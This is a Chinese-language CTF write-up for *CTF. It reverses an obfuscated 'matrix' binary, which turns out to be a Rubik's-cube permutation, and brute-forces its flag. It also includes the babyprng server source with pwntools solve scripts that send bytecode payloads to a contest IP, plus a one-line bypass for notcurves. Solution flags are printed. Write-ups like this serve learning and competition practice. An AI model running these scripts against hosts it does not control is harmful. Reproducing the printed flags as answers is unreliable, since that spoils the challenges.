  4. 可能对结果又进行了一些计算,得到flag
  5. 打印flag,或是try again

算法

让我们来看看程序到底干了什么
重新调试,这回输入10151114测试
我么把位于565589C7的函数重命名为operate,位于56559638的函数重命名为check
operate函数下断,跟进到10对应的分支5655BD47,我们把每个这种操作函数按重命名为operate+输入的字节,如operate10
慢慢步入,主体是一个长度为3的循环。
在5655BE7C发现取了一个data段的地址,跟入发现是一连串数据。稍微分析一下这里的结构。在下面一点发现了一连串的指针,直接打开后为修改的ida数据库是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.data:00013200 off_13200       dd offset dword_13020   ; DATA XREF: .text:00004796↑o
.data:00013200 ; .text:000055DF↑o ...
.data:00013204 dd offset unk_13044
.data:00013208 dd offset unk_13068
.data:0001320C dd offset unk_1308C
.data:00013210 dd offset unk_130B0
.data:00013214 dd offset unk_130D4
.data:00013218 off_13218 dd offset unk_130F8 ; DATA XREF: .text:00005701↑o
.data:00013218 ; .text:00005722↑o ...
.data:0001321C dd offset unk_1311C
.data:00013220 dd offset unk_13140
.data:00013224 dd offset unk_13164
.data:00013228 dd offset unk_13188
.data:0001322C dd offset unk_131AC

这一连串的指针,中间刚好隔了0x24字节,即9个int,一共12个指针。根据题目名叫matrix,猜测是个矩阵,感觉每个元素是int的概率比较大,这里先是猜的,也就是12*9的一个矩阵。注意到这12行是分开来的,也就是说有可能是两个6*9的矩阵。
指针和矩阵中间又有12个int数据。这个矩阵和数据到底是做什么的暂时不知道,继续往下分析。
之前说了,这道题充斥着很多冗余代码,比如刚刚引用这个矩阵的代码:

1
2
3
4
.text:5655BE7C mov     ebx, offset matrix
.text:5655BE81 adc ebx, edx
.text:5655BE83 sbb eax, ebx
.text:5655BE85 lea ebx, [eax]

调试一下可以发现,最终ebx被幅值成了ebx的反,这根本没有意义。
随后的一个对矩阵的引用也是如此,再下一个有些许不同了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:5655BEE5 mov     ecx, offset matrix
.text:5655BEEA add ecx, eax
.text:5655BEEC mov eax, [ebp-4]
.text:5655BEEF sbb eax, edx
.text:5655BEF1 add eax, eax
.text:5655BEF3 mov eax, 0B4D418C0h
.text:5655BEF8 lea eax, [esi]
.text:5655BEFA mov eax, dword_5656829C
.text:5655BF00 shl eax, 0
.text:5655BF03 add eax, 0BE8634ABh
.text:5655BF09 sub eax, 70A1214Ch
.text:5655BF0F sub eax, 0CC322C9Bh
.text:5655BF15 add ecx, eax
.text:5655BF17 xor edx, eax
.text:5655BF19 mov ebx, 9F145970h
.text:5655BF1E lea ebx, [ebx-51A2725Fh]
.text:5655BF24 lea ebx, [edx+ebp*4-46h]
.text:5655BF28 mov edx, ecx
.text:5655BF2A add edx, edx
.text:5655BF2C mov ebx, 89B03C42h
.text:5655BF31 lea eax, [edi+7A2658Bh]
.text:5655BF37 lea eax, [eax-52554450h]
.text:5655BF3D mov eax, [ecx]
.text:5655BF3F mov [ebp-4], eax

在ida里有相同字符的高亮,可以看出,ecx先后加了两个数据,然后终于取数据了,这里取得是matrix+8,也就是第2个元素,紧跟着存入了[ebp-4]
不难发现,形如mov xxx,[xxx]的代码是可疑代码,有可能是真正有用的部分,分析时要重点关注这样的代码。
比如在5655C12C发现了这样一处代码:

1
2
.text:5655C12C mov     eax, [edx]
.text:5655C12E mov [ecx], eax

通过寄存器看到edx是matrix+BC的地址,也就是matrix[47],而ecx指向的是之前的matrix[2],这里有点像元素交换对不对,先把matrix[2]放到一个temp里,然后再把matrix[47]放到matrix[2]里
类似的,在5655C374又有一处代码:

1
2
.text:5655C374 mov     eax, [edx]
.text:5655C376 mov [ecx], eax

这里应该是 matrix[47] = matrix[11],所以不是交换元素了,继续看
又在下面发现了 matrix[11] = matrix[38]
最后,在结束循环之前,看到了 matrix[38] = temp,即是之前的matrix[2]
合并一下,本次循环做的事:

1
2
3
4
5
temp = matrix[2]
matrix[2] = matrix[47]
matrix[47] = matrix[11]
matrix[11] = matrix[38]
matrix[38] = temp

接下来两次循环干的应该是相似的事情了。
大胆猜测一下,其他17种操作应该也是某种变换。验证一下,一口气输完所有的18种输入,记录一下操作之前的矩阵,以及操作之后的矩阵
对比前后矩阵不难发现,虽然元素都被打乱了,但是元素的种类都没改变,还是之前的6*9个元素。
同时,matrix下面的一个6*9的矩阵没有被改变,应该是个常量,命名为constant好了
分析了两个变换之后,发现不出什么规律,比赛时就没有继续分析下去的动力了。
赛后想到一个可能好一点的分析方式,先将矩阵的内容patch成0-54的编号,每次输入一个不同的输入,分别记录下每次操作后的矩阵,再分析是怎么变化的。
试试换条思路,根据程序的流程,进行完操作之后是check,而操作的过程中矩阵元素的大小没有改变,只改变了元素的位置,我们有没有办法构造出最终过check的矩阵呢?

进入check函数看看如何check的:
循环长度为6,假设刚好对应了矩阵的每一行,
与之前变换的时候访问矩阵元素不太一样,这里是通过后面的6个指向矩阵的每一行的指针来访问元素的
用跟之前相似的方法,在5655984A发现了这样的代码:

1
2
3
.text:5655984A mov     edx, [eax]
.text:5655984C mov eax, [ecx]
.text:5655984E add edx, eax

这里加的是matrix[0]和matrix[2]

接下来跟着edx走不难发现一些类似的代码,最终的效果就是

1
temp = matrix[0]+matrix[2]+matrix[4]+matrix[6]+matrix[8]

刚好把偶数下标的元素求和了,然后不远处又能发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:56559A8B cmp     edx, eax
.text:56559A8D mov eax, 0
.text:56559A92 setz al
.text:56559A95 mov ecx, [ebp-4]
.text:56559A98 and ecx, eax
.text:56559A9A mov eax, ecx
.text:56559A9C adc eax, ebx
.text:56559A9E lea eax, [esi]
.text:56559AA0 sbb edx, edx
.text:56559AA2 sub eax, ecx
.text:56559AA4 mov edx, 51160ED1h
.text:56559AA9 lea edx, [esi+2Ah]
.text:56559AAC mov ebx, 66600294h
.text:56559AB1 lea eax, [ebx+0Fh]
.text:56559AB4 mov eax, 0F4B4E967h
.text:56559AB9 mov eax, 13E96DD7h
.text:56559ABE lea edx, [esp+edi*4-0Dh]
.text:56559AC2 mov [ebp-4], ecx

这里的edx是求和的结果,eax跟过去一看,是之前那12个不知道有啥用的数据中的第一个,命名为cmp好了。
比较的结果果然被放在了[eb-4]中
继续往下跟,不难看到第二个比较,不同的,这次求和的内容并不是奇数下标的元素,而是

1
temp = matrix[1]+matrix[3]+matrix[4]+matrix[5]+matrix[6]

在两次过程中matrix[4]都被加进去了,最终比较的对象是cmp[1]
猜测一下check过程。cmp是个6*2的矩阵。每次比较matrix的每一行,下标为02468的元素求和要为cmp[i][0],下标为13457的元素求和要为cmp[i][1]
稍微验证一下之后的循环,下标果然如此

穷举求解

既然相加的元素都在这6*9个之中,我们只要找到某5个元素,加和等于cmp就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from itertools import *
a = [i for i in range(54)]
mat = [0x0FDFE0BA1, 0x9A915052, 0x0C96F3527, 0x0F5201FCD, 0x0FE32ED8F, 0x0DB8E3EF9, 0x51EF954, 0x0FE217F1C, 0x7B33A8BB, 0x9CF903A1, 0x0C381E2CD, 0x22B35BE4, 0x4550E6AE, 0x0DC9E8F3C, 0x0A9B44EAF, 0x3372486A, 0x51329F58, 0x5F2F456E, 0x9B555A08, 0x0EB1A8529, 0x9B009084, 0x9B0B7B06, 0x9967F311, 0x91FB13AB, 0x18952236, 0x6F7B9915, 0x0EDD9D6D1, 0x0FB67FE21, 0x259911B0, 0x3DC4EE74, 0x98936FF0, 0x0DF7502CE, 0x0C3DF1016, 0x0BC1220F9, 0x0F54C810C, 0x715A634C, 0x3E1637A6, 0x80F07B8D, 0x0FB9CA491, 0x0AD254C2E, 0x0FB5A012F, 0x1AEF5581, 0x0B9CC1351, 0x9A3B536D, 0x0BD7FAF0F, 0x0F49AD883, 0x2C55324, 0x83BC3205, 0x43846281, 0x19382448, 0x0FADB2B18, 0x9335D185, 0x94C6BF5A, 0x591685AE]
m = combinations(a,5)
res = [[0x0D481DD44, 0x0E66CF0E0], [0x6C86565D, 0x0EF6C2A6D], [0x0D170230A, 0x9159B169], [0x3DCF0D3F, 0x0D9331E76], [0x64691AF0, 0x0DBF384CF], [0x69E3E3A, 0x7122DE4D]]
# get part of result
for i in m:
summ = 0
for j in i:
summ+=mat[j]
summ&=0xffffffff
for k in range(len(res)):
if summ == res[k][0]:
print(k,0)
for j in i:
print(hex(mat[j]))
print('')

if summ == res[k][1]:
print(k,1)
for j in i:
print(hex(mat[j]))
print('')
# then combine these output in Notepad++, get the a
exit()

把输出稍微整理一下,选出同一行有相同元素的(matrix[4]),把相同元素提取出来,得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
(0, 0)			(0, 1)
0xfdfe0ba1L 0x51329f58
0x7b33a8bb 0x6f7b9915
0x3dc4ee74 0x2c55324
0x3e1637a6 0x43846281

0xdf7502ce

(1, 0) (1, 1)
0xc96f3527L 0xf5201fcdL
0x51ef954 0xdb8e3ef9L
0x715a634c 0xeb1a8529L
0x9335d185L 0x9a3b536dL

0x9967f311L,

(2, 0) (2, 1)
0x9b009084L 0xc381e2cdL
0x18952236 0x98936ff0L
0xbd7faf0fL 0xc3df1016L
0x83bc3205L 0x94c6bf5aL

0xdc9e8f3cL,

(3, 0) (3, 1)
0x22b35be4 0x91fb13abL
0x3372486a 0x80f07b8dL
0xedd9d6d1L 0xad254c2eL
0xfb9ca491L 0x1aef5581

0xfe32ed8fL,

(4, 0) (4, 1)
0x9cf903a1L 0xfe217f1cL
0x9b555a08L 0xa9b44eafL
0xb9cc1351L 0x259911b0
0x591685ae 0xf54c810cL

0x19382448,

(5, 0) (5, 1)
0x5f2f456e 0x9a915052L
0xfb67fe21L 0x4550e6ae
0xbc1220f9L 0x9b0b7b06L
0xf49ad883L 0xfadb2b18L

0xfb5a012fL,

那么现在问题在于,我们只是得到每一行有哪些元素,并不知道它们是如何排列的,毕竟加法满足交换律。

一行可能的结果数:4! * 4! = 576

由于每一行互相是互不影响的,所以我们只需要穷举576*6种结果,找出其中经过计算得到flag后,有可见字符的结果拼接即可。

一开始我的解决方案是想办法patch程序中的内存,然而找不到好的方法写脚本,所以还得分析计算flag的方法

继续调试,check函数之后就是计算flag了,首先是长度为6的循环,八成是对应矩阵的每一行了

还是根据之前调试的方法,不难发现,先将matrix和constant的行数的指针放到[ebp-184h]和[ebp-188h]

之后进入了一个长度为9的循环,先猜测对应行中的每一个元素

有了先前分析的经验,现在在分析就上手一些了,最终有用的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.text:5655A8AC mov     eax, [ebp-8]           ; j
.text:5655A8AF shl eax, 2
;...
.text:5655A8F2 mov ecx, [ebp-184h]
.text:5655A8F8 add ecx, eax
;...
.text:5655A9B6 mov eax, [ebp-8]
.text:5655A9B9 shl eax, 2
;...
.text:5655AA01 mov edx, [ebp-188h]
.text:5655AA07 add edx, eax
;...
.text:5655AA19 mov eax, [ecx]
.text:5655AA1B mov ecx, [edx]
.text:5655AA1D imul eax, ecx
;...
.text:5655AA95 mov ecx, [ebp-18Ch]
.text:5655AA9B add ecx, eax
;...
.text:5655AAC7 mov [ebp-18Ch], ecx ; m[i][j]*c[i][j]
.text:5655AACD jmp loc_5655A818 ; j++

其实就是两个矩阵对应元素相乘,同一行再相加

外循环干的事:

1
2
3
4
5
6
7
8
9
.text:5655AB0A mov     eax, [ebp-4]           ; i
.text:5655AB0D shl eax, 2
;...
.text:5655AB4C lea ecx, [ebp-180h] ; flag
.text:5655AB52 add ecx, eax
;...
.text:5655AB83 mov eax, [ebp-18Ch] ; the result of every row
.text:5655AB89 mov [ecx], eax
.text:5655AB8B jmp loc_5655A565 ; i++

那么加完的内容就是最后要输出的东西了,开始穷举:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from itertools import *
res = [[0x0D481DD44, 0x0E66CF0E0], [0x6C86565D, 0x0EF6C2A6D], [0x0D170230A, 0x9159B169], [0x3DCF0D3F, 0x0D9331E76], [0x64691AF0, 0x0DBF384CF], [0x69E3E3A, 0x7122DE4D]]
constmat = [0x0B849CD19, 0x55E00017, 0x844966B, 0x80C181EC, 0x686C0B3C, 0x55400592, 0x0CD42168A, 0x4039E81, 0x0D9DE549F, 0x2034677D, 0x144ABD, 0x49100D00, 0x0E003A0E0, 0x80F0006D, 0x8307ADD6, 0x4CF60781, 0x0A0352643, 0x0C580C3DE, 0x0EA8C4E24, 0x68603008, 0x687FBFFF, 0x19DE4BF9, 0x271A1179, 0x99791C4D, 0x29CBFFC, 0x2B82801E, 0x3C0307FB, 0x0DAE61CD6, 0x8F7B1BF0, 0x0C56CEF1D, 0x0D6493A96, 0x1808018, 0x0F48001B9, 0x3712519, 0x9294F318, 0x6DE20384, 0x0F3750B04, 0x256A122A, 0x257290B, 0x0C4582056, 0x204E8BC0, 0x79C7ADE7, 0x0C4C20203, 0x5B961570, 0x66034856, 0x78329E3A, 0x1D07C00, 0x4AC240E6, 0x854CFBBE, 0x0ABFEC404, 0x5BD80037, 0x0E94CBCD8, 0x1, 0x0C4CA280D]
a= [[[0xfdfe0ba1, 0x7b33a8bb, 0x3dc4ee74, 0x3e1637a6],[0x51329f58, 0x6f7b9915, 0x2c55324, 0x43846281],0xdf7502ce],[[0xc96f3527, 0x51ef954, 0x715a634c, 0x9335d185], [0xf5201fcd, 0xdb8e3ef9, 0xeb1a8529, 0x9a3b536d],0x9967f311],[[0x9b009084, 0x18952236, 0xbd7faf0f, 0x83bc3205], [0xc381e2cd, 0x98936ff0, 0xc3df1016, 0x94c6bf5a], 0xdc9e8f3c],[[0x22b35be4, 0x3372486a, 0xedd9d6d1, 0xfb9ca491], [0x91fb13ab, 0x80f07b8d, 0xad254c2e, 0x1aef5581], 0xfe32ed8f],[[0x9cf903a1, 0x9b555a08, 0xb9cc1351, 0x591685ae], [0xfe217f1c, 0xa9b44eaf, 0x259911b0, 0xf54c810c], 0x19382448],[[0x5f2f456e, 0xfb67fe21, 0xbc1220f9, 0xf49ad883], [0x9a915052, 0x4550e6ae, 0x9b0b7b06, 0xfadb2b18], 0xfb5a012f]]
m = permutations([0,1,2,3],4)
n = []
for i in m:
n.append(i)
cont = 0

for i in range(0,6):
print('')
print('#########part %d#########'%i)
for p in n:
for q in n:
cont+=1
ress = ''
resr = []
resr.append(a[i][0][p[0]])
resr.append(a[i][1][q[0]])
resr.append(a[i][0][p[1]])
resr.append(a[i][1][q[1]])
resr.append(a[i][2])
resr.append(a[i][1][q[2]])
resr.append(a[i][0][p[2]])
resr.append(a[i][1][q[3]])
resr.append(a[i][0][p[3]])
sumr = 0
check0 = resr[0]+resr[2]+resr[4]+resr[6]+resr[8]
check0&=0xffffffff
check1 = resr[1]+resr[3]+resr[4]+resr[5]+resr[7]
check1&=0xffffffff
if check0 != res[i][0]:
print(i)
for k in resr:
print(hex(k))
print('')
print(hex(check0))
print(hex(res[i][0]))
print(p)
print(q)
exit()
assert check0 == res[i][0]
assert check1 == res[i][1]
for k in range(len(resr)):
sumr+=resr[k]*constmat[i*9+k]
sumr&=0xFFFFFFFF
ff = 0
for _ in range(4):
temp = sumr&0xFF
if temp < 0x20 or temp >= 0x7f:
ff = 1
break
ress+=chr(temp)
sumr>>=8
if ff == 1:
continue
print(ress)

把输出按语义拼接一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>uG8   \w8]   J|@>   Oh)!   ye$B   ukxG
xU"a Gj3o S_Cu }]nU h`1) uHnr
W8F? {7h1 X4G\ 63_i *[T3 ;73-
P[jk KP6o Xp,T -gF: s_m4 a/_j
|/Zj v9E[ oeps -S96 \Q}] g1c}
:!); B::( '-SR ERNJ gJO( AR&|
*CTF a'/0 SA;V nL?K SZL 4nEE
[email protected] uk6W @GhI RV&b "-R! YOcm
erkU XP#3 2\t$ 5zB( AkT6
Mc=F hx-A Q7^< -l/l
;|.b X .; <1I7 YctL
=!M3 4gjL [email protected] VRae
A6V\ /_"u jke&
k?!R ^I;-
:q(V

*CTF{7h1S_Cu63_is_m4g1c}

总结

因为刚开始学花指令,没找去除冗余代码的方法,脚本写不出来,所以干脆就纯看汇编做的,感觉方法比较蠢,需要胆大心细,但是做的过程中也多多少少对这种混淆的方法有了一定的了解,有空的话深究一下高级一点去花方法。

此外,比赛时并没有发现这道题的算法是什么,赛后跟大牛交流了一下其实这是一个魔方,6*9个元素对应6个面每个面9个块,18种输入对应18种标准魔方的操作,每个面顺时针逆时针旋转90度加3个中间块的两个方向旋转90度。不过知道是魔方之后也想不到有什么很好的解决方法。颜色不知道,最终还原的魔方的状态也不知道,只知道还原的魔方能过check。
还有一点,由于魔方边块和角块必须是挨着的,在矩阵上就能满足某种特定的规则,这样在我之前的穷举时就能去除那些不紧挨的情况了,可能最终的输出会被缩小很多,如果遇到flag没有语义的情况会有优势。

crypto

babyprng

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
import os,random,sys,string
from hashlib import sha256
import SocketServer
import signal

from flag import FLAG

class Task(SocketServer.BaseRequestHandler):
TH = 0.9 # overwritten!!
DELTA = 0.005
SIZE = 100000
def proof_of_work(self):
random.seed(os.urandom(8))
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(20)])
digest = sha256(proof).hexdigest()
self.request.send("sha256(XXXX+%s) == %s\n" % (proof[4:],digest))
self.request.send('Give me XXXX:')
x = self.request.recv(10)
x = x.strip()
if len(x) != 4 or sha256(x+proof[4:]).hexdigest() != digest:
return False
return True

def recvhex(self, sz):
try:
r = sz
res = ''
while r>0:
res += self.request.recv(r)
if res.endswith('\n'):
r = 0
else:
r = sz - len(res)
res = res.strip()
res = res.decode('hex')
except:
res = ''
return res

def dosend(self, msg):
try:
self.request.sendall(msg)
except:
pass

def randbit(self):
if random.random()>self.TH:
return 1
else:
return 0

def run(self, code):
stack = []
out = []
cnt = 0
random.seed(os.urandom(8))
self.TH = 0.7 + random.random()*0.25
for _ in xrange(self.SIZE):
stack.append(self.randbit())
try:
pos = 0
for _ in xrange(self.SIZE*10):
c = code[pos]
pos += 1
if c=='\x00':
out.append(stack[-1])
elif c=='\x01':
if stack[-1]==1:
pos += 1
elif c=='\x02':
del stack[-1]
elif c=='\x03':
stack[-1] = stack[-1]&stack[-2]
elif c=='\x04':
stack[-1] = stack[-1]|stack[-2]
elif c=='\x05':
stack[-1] = stack[-1]^stack[-2]
#elif c=='\x06':
# stack[-1] = 1-stack[-1]
#elif c=='\x06':
# stack.append(stack[-1])
elif ord(c)>=0x10 and ord(c)<=0x30:
pos += ord(c)-0x10
elif ord(c)>=0x30 and ord(c)<=0x50:
pos -= ord(c)-0x30
except:
pass
return out

def handle(self):
if not self.proof_of_work():
return
signal.alarm(3)
self.dosend("opcode(hex): ")
code = self.recvhex(400)
out = self.run(code)
print len(out)
if len(out) > int(self.SIZE*0.9):
one = float(len(filter(lambda x:x==1,out)))/len(out)
print one
if abs(one-0.5)<self.DELTA:
self.dosend("%s\n" % FLAG)
else:
self.dosend(">.<\n")
else:
self.dosend(">.<\n")
self.request.close()


class ForkingServer(SocketServer.ForkingTCPServer, SocketServer.TCPServer):
pass


if __name__ == "__main__":
HOST, PORT = '0.0.0.0', 10002
print HOST
print PORT
server = ForkingServer((HOST, PORT), Task)
server.allow_reuse_address = True
server.serve_forever()

就是个调整概率的游戏,把1的占有率调到%49.5 — %50.5就win

首先随机生成10万个01装进stack
再进行100万次操作,使得最后的stack中1的占比在%49.5 — %50.5 to win
利用其他操作 包括跳转和&|^构造精确的所需要的stack内容
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
import random
import hashlib
import string

context.log_level = 'debug'
target = remote("34.92.185.118", 10002)

target.recvuntil("sha256(XXXX+")
salt = target.recv(16)
target.recvuntil(") == ")
digest = target.recv(64)
result = ""
def sha256(s):
s = hashlib.sha256(s).hexdigest()
return s
while 1:
s = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(4)])
if sha256(s + salt) == digest:
result = s
break
target.recvuntil("Give me XXXX:")
target.sendline(result)
target.recvuntil("opcode(hex): ")
payload = "\x02\x04\x01\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x03\x01\x11\x35\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50"
payload = payload.encode("hex")
target.sendline(payload)
print target.recv()
target.close()

*ctf{23bb9d2dc5eebadb04ea0f9cfbc1043f}

babyprng2

类似上一题,不过这一题append进out之后会del掉,所以不好控制输出相同数量的0和1
最后的想法是先用或运算增加1的数量,然后将1和0分别放进sequence的前面和后面,反序输入回stack后再输出到out,通过无效的操作消耗100W次操作上限,将1输出完之后将0的输出控制在跟1差不多的数量,因为随机数多所以无法保证每一次都能控制的刚好 -_- ,最后写出来的脚本也只是有可能 getflag(可能欧皇一次就通了),脚本如上题,修改payload和端口即可:
payload = “\x03\x03\x01\x12\x06\x11\x05\x07\x11\x3a\x08\x03\x11\x33\x03\x03\x03\x00\x36”

*ctf{e48af588d4b80ade5ad44a8b5c90d222}

notcurves

非预期解…因为捕获异常会置0,而且0%p==0,所以直接整个不符合格式的point就可以了

*ctf{2ca55eb39e6fd9e5f1e7396b5c24a352}